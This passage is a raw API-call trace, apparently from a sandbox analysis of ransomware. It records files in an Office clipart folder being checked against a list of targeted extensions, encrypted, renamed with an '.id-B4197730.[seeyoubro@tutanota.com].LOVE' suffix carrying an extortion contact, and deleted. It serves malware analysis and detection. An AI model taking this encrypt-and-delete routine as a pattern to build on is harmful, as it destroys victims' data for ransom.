lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString=".1cd") returned 4 [0221.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0221.148] lstrlenW (lpString=".jpg") returned 4 [0221.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.149] GetLastError () returned 0x0 [0221.149] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x844, lpOverlapped=0x0) returned 1 [0221.156] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x850, lpOverlapped=0x0) returned 1 [0221.157] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.157] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.157] SetEndOfFile (hFile=0x330) returned 1 [0221.157] CloseHandle (hObject=0x330) returned 1 [0221.157] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.157] SetEndOfFile (hFile=0x320) returned 1 [0221.158] CloseHandle (hObject=0x320) returned 1 [0221.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0221.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.159] lstrlenW (lpString=".doc") returned 4 [0221.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.159] lstrlenW (lpString=".docx") returned 5 [0221.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.159] lstrlenW (lpString=".pdf") returned 4 [0221.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.159] lstrlenW (lpString=".xls") returned 4 [0221.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.159] lstrlenW (lpString=".xlsx") returned 5 [0221.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.159] lstrlenW (lpString=".ppt") returned 4 [0221.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.159] lstrlenW (lpString=".zip") returned 4 [0221.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.159] lstrlenW (lpString=".rar") returned 4 [0221.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.159] lstrlenW (lpString=".bz2") returned 4 [0221.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.159] lstrlenW (lpString=".7z") returned 3 [0221.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.159] lstrlenW (lpString=".dbf") returned 4 [0221.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.160] lstrlenW (lpString=".1cd") returned 4 [0221.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0221.160] lstrlenW (lpString=".jpg") returned 4 [0221.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.161] GetLastError () returned 0x0 [0221.161] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0221.170] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0221.171] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.171] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.171] SetEndOfFile (hFile=0x330) returned 1 [0221.172] CloseHandle (hObject=0x330) returned 1 [0221.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.172] SetEndOfFile (hFile=0x320) returned 1 [0221.173] CloseHandle (hObject=0x320) returned 1 [0221.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0221.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.173] lstrlenW (lpString=".doc") returned 4 [0221.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.173] lstrlenW (lpString=".docx") returned 5 [0221.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.173] lstrlenW (lpString=".pdf") returned 4 [0221.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.173] lstrlenW (lpString=".xls") returned 4 [0221.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.173] lstrlenW (lpString=".xlsx") returned 5 [0221.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.173] lstrlenW (lpString=".ppt") returned 4 [0221.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.174] lstrlenW (lpString=".zip") returned 4 [0221.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.174] lstrlenW (lpString=".rar") returned 4 [0221.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.174] lstrlenW (lpString=".bz2") returned 4 [0221.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.174] lstrlenW (lpString=".7z") returned 3 [0221.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.174] lstrlenW (lpString=".dbf") returned 4 [0221.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.174] lstrlenW (lpString=".1cd") returned 4 [0221.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0221.174] lstrlenW (lpString=".jpg") returned 4 [0221.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.174] GetLastError () returned 0x0 [0221.174] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0221.214] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0221.215] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.215] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.216] SetEndOfFile (hFile=0x330) returned 1 [0221.216] CloseHandle (hObject=0x330) returned 1 [0221.216] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.216] SetEndOfFile (hFile=0x320) returned 1 [0221.217] CloseHandle (hObject=0x320) returned 1 [0221.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0221.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.218] lstrlenW (lpString=".doc") returned 4 [0221.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.218] lstrlenW (lpString=".docx") returned 5 [0221.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.218] lstrlenW (lpString=".pdf") returned 4 [0221.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.218] lstrlenW (lpString=".xls") returned 4 [0221.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.218] lstrlenW (lpString=".xlsx") returned 5 [0221.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.218] lstrlenW (lpString=".ppt") returned 4 [0221.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.218] lstrlenW (lpString=".zip") returned 4 [0221.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.218] lstrlenW (lpString=".rar") returned 4 [0221.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.218] lstrlenW (lpString=".bz2") returned 4 [0221.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.218] lstrlenW (lpString=".7z") returned 3 [0221.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.219] lstrlenW (lpString=".dbf") returned 4 [0221.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.219] lstrlenW (lpString=".1cd") returned 4 [0221.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0221.219] lstrlenW (lpString=".jpg") returned 4 [0221.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.219] GetLastError () returned 0x0 [0221.219] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0221.300] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0221.301] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.301] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.301] SetEndOfFile (hFile=0x330) returned 1 [0221.301] CloseHandle (hObject=0x330) returned 1 [0221.301] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.301] SetEndOfFile (hFile=0x320) returned 1 [0221.302] CloseHandle (hObject=0x320) returned 1 [0221.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString=".doc") returned 4 [0221.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString=".docx") returned 5 [0221.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.304] lstrlenW (lpString=".pdf") returned 4 [0221.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString=".xls") returned 4 [0221.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.304] lstrlenW (lpString=".xlsx") returned 5 [0221.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.304] lstrlenW (lpString=".ppt") returned 4 [0221.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString=".zip") returned 4 [0221.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.304] lstrlenW (lpString=".rar") returned 4 [0221.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString=".bz2") returned 4 [0221.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString=".7z") returned 3 [0221.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString=".dbf") returned 4 [0221.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString=".1cd") returned 4 [0221.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0221.304] lstrlenW (lpString=".jpg") returned 4 [0221.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.306] GetLastError () returned 0x0 [0221.306] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x47c, lpOverlapped=0x0) returned 1 [0221.339] WriteFile (in: hFile=0x37c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x480, lpOverlapped=0x0) returned 1 [0221.339] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.339] WriteFile (in: hFile=0x37c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.340] SetEndOfFile (hFile=0x37c) returned 1 [0221.340] CloseHandle (hObject=0x37c) returned 1 [0221.340] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.340] SetEndOfFile (hFile=0x33c) returned 1 [0221.341] CloseHandle (hObject=0x33c) returned 1 [0221.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0221.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.344] lstrlenW (lpString=".doc") returned 4 [0221.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.344] lstrlenW (lpString=".docx") returned 5 [0221.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.344] lstrlenW (lpString=".pdf") returned 4 [0221.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.344] lstrlenW (lpString=".xls") returned 4 [0221.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.344] lstrlenW (lpString=".xlsx") returned 5 [0221.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.344] lstrlenW (lpString=".ppt") returned 4 [0221.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.344] lstrlenW (lpString=".zip") returned 4 [0221.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.344] lstrlenW (lpString=".rar") returned 4 [0221.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.344] lstrlenW (lpString=".bz2") returned 4 [0221.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.344] lstrlenW (lpString=".7z") returned 3 [0221.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.344] lstrlenW (lpString=".dbf") returned 4 [0221.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.345] lstrlenW (lpString=".1cd") returned 4 [0221.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0221.345] lstrlenW (lpString=".jpg") returned 4 [0221.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.347] GetLastError () returned 0x0 [0221.348] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0221.396] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x500, lpOverlapped=0x0) returned 1 [0221.397] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.398] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.398] SetEndOfFile (hFile=0x330) returned 1 [0221.398] CloseHandle (hObject=0x330) returned 1 [0221.398] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.398] SetEndOfFile (hFile=0x33c) returned 1 [0221.399] CloseHandle (hObject=0x33c) returned 1 [0221.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString=".doc") returned 4 [0221.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString=".docx") returned 5 [0221.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.400] lstrlenW (lpString=".pdf") returned 4 [0221.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString=".xls") returned 4 [0221.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.400] lstrlenW (lpString=".xlsx") returned 5 [0221.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.400] lstrlenW (lpString=".ppt") returned 4 [0221.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString=".zip") returned 4 [0221.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.400] lstrlenW (lpString=".rar") returned 4 [0221.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString=".bz2") returned 4 [0221.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString=".7z") returned 3 [0221.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString=".dbf") returned 4 [0221.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString=".1cd") returned 4 [0221.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0221.400] lstrlenW (lpString=".jpg") returned 4 [0221.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.401] GetLastError () returned 0x0 [0221.401] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1780, lpOverlapped=0x0) returned 1 [0221.472] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1790, lpOverlapped=0x0) returned 1 [0221.473] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.473] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.473] SetEndOfFile (hFile=0x330) returned 1 [0221.473] CloseHandle (hObject=0x330) returned 1 [0221.473] SetFilePointerEx (in: 